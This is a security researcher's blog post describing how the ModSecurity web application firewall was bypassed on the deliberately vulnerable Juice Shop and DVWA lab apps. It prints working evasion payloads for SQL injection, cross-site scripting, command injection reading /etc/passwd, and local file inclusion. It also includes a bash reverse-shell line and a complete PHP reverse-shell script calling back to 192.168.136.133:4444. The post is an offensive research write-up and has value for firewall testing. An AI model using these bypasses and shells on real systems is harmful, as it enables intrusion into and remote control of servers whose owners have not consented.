How we defeated libModSecurity aka ModSecurity

Soufiane Tahiri
5 min readDec 21, 2020

--

Here is the story of how we bypassed ModSecurity and were able to conduct successful XSS, SQLi, Command injections, Unrestricted file upload, and pop shells…

A few weeks ago, we decided to test ModSecurity against two vulnerable applications OWASP Juice Shop and Damn Vulnerable Web Application.

This research was conducted by Mohamed-Yassir Cherif and myself Soufiane Tahiri.

We kept paranoia level 1 (the default) for our SQL injections and XSS challenges

1-SQL Injection

Bypassing a WAF depends usually on the front/back architecture, we were able to successfully perform SQLis by using some underrated (at least when talking about injections) MYSQL functions.
It’s worth saying that before trying to bypass a WAF, it’s quite important to get as much informed as possible about all the technological bricks used by the application being assessed.

All basic injection patterns were caught by the WAF:

1'+or++1+ — +

Until we read this: https://dev.mysql.com/doc/refman/5.6/en/string-functions.html; The WEIGHT_STRING seems to somehow break the regular expression in use:

11'+or++WEIGHT_STRING(@@version)=WEIGHT_STRING(@@version)+ — +

Juice uses Sqlite which was quite challenging, we did a very basic and elegant authentication bypass that the WAF cannot catch without causing a catastrophic amount of false positives: ‘; and that’s it!

admin’or 1=1; —
admin’;

2-XSS

We fuzzed as much as we could, no working payload popped up for DVWA, but interestingly, Juice which uses sanitize-html helped us a bit by kind of mutating our payload.

In fact, every single classic payload was caught:

Until our fuzzer came up with this interesting payload:

“</eeeee><<d<<<<<</eee>a href=<X sAAAAkkkk>jav&#x09;asc&#x09;ript&#x09&#x09&#x0A;&#x3a;alert(0912);>xssmeplease”

That gave up a nice and persistent XSS:

In the following, we will be using the paranoia level 2 of modsec described as:

Paranoia level 2 (PL2) includes many extra rules, for instance enabling many regexp-based SQL and XSS injection protections, and adding extra keywords checked for code injections

Here is the config:

SecAction \
“id:900000,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=2”

SecAction \
“id:900001,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.executing_paranoia_level=2”

3-Command Injection

Without a surprise we tested the default injection method which failed:

; ls -al

So we started fuzzing every possible char after the magical semicolon that would bypass the WAF:

Our pattern looked like: ;%xx with xx going from 0 to 255, this way, we ended up with plenty of bypasses as:

fuzzing ;%xx
;) ls -al

Bypassing /etc/passwd filter

Well, injecting a command is cool, but if the WAF blocks our attempts to read files, it could become less funny. Based on what we found, we tried to read the content of /etc/passwd with the following: ;)cat /etc/passwd the attempt was unsuccessful, but by combining our bypass with an old trick:

;)cat /e?c/p?sswd

4-Local file inclusion

LFI was quite easy, the WAF doesn’t seem to really care about many files, with the paranoia level 2 enabled, you can include almost everything:

%2fproc%2fstat

Even the Modsec CRS config file itself — /etc/modsecurity/crs-setup.conf (which actually made us laugh quite hard)

5-Unrestricted File Upload

Flaws in FU restriction are always fun because they end up in poping easy shells. Modsec was( thankfully) able to block a very basic payload:

examples.php containing <?php exec(“/bin/bash -c ‘bash -i>& /dev/tcp/”192.168.136.133"/4444 0>&1’”);?>

We tried to figure what kind of extensions it detects so we just fuzzed as we did for command injections, we fuzzed .phx where goes from A to Z, and we had few interesting hits like: .pht which is actually a valid file that stores HTML page that includes a PHP script, dynamically generates HTML, often by accessing database information.

Now that we have an extension that bypassed the WAF, we tried randomly some “triggers” like “exec”, “system”. The interesting conclusion is that (apparently) Modesec doesn’t give a single damn about the file content as long as it doesn’t contain some of these triggers… EASY we made a payload that contains no exec and no system:

Payload used:

<?php set_time_limit(0);$VERSION=”1.0";$ip=’192.168.136.133';$port=4444;$chunk_size=1400;$write_a=null;$error_a=null;$shell=’uname -a; w; id; /bin/sh -i’;$daemon=0;$debug=0;if(function_exists(‘pcntl_fork’)){$pid=pcntl_fork();if($pid==-1){printit(“ERROR: Can’t fork”);exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit(“Error: Can’t setsid()”);exit(1);}$daemon=1;}else {printit(“WARNING: Failed to daemonise. This is quite common and not fatal.”);}chdir(“/”);umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit(“$errstr ($errno)”);exit(1);}$descriptorspec=array(0=>array(“pipe”,”r”),1=>array(“pipe”,”w”),2=>array(“pipe”,”w”));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit(“ERROR: Can’t spawn shell”);exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit(“Successfully opened reverse shell to $ip:$port”);while(1){if(feof($sock)){printit(“ERROR: Shell connection terminated”);break;}if(feof($pipes[1])){printit(“ERROR: Shell process terminated”);break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit(“SOCK READ”);$input=fread($sock,$chunk_size);if($debug)printit(“SOCK: $input”);fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit(“STDOUT READ”);$input=fread($pipes[1],$chunk_size);if($debug)printit(“STDOUT: $input”);fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit(“STDERR READ”);$input=fread($pipes[2],$chunk_size);if($debug)printit(“STDERR: $input”);fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print”$string\n”;}}?>

We popped a shell

Conclusion

This research was not very serious, and we found every single bypass in less than 20 hours of work, Except if you are willing to push paranoia to its 4th level and have time and energy to deal with a very high number of false positives, we clearly do not advice the use of Modsec to protect any critical stuff.

--

--

Soufiane Tahiri

I’m a computer security researcher and science enthusiast who specializes in .NET reverse code engineering and I put interest in low-level techniques.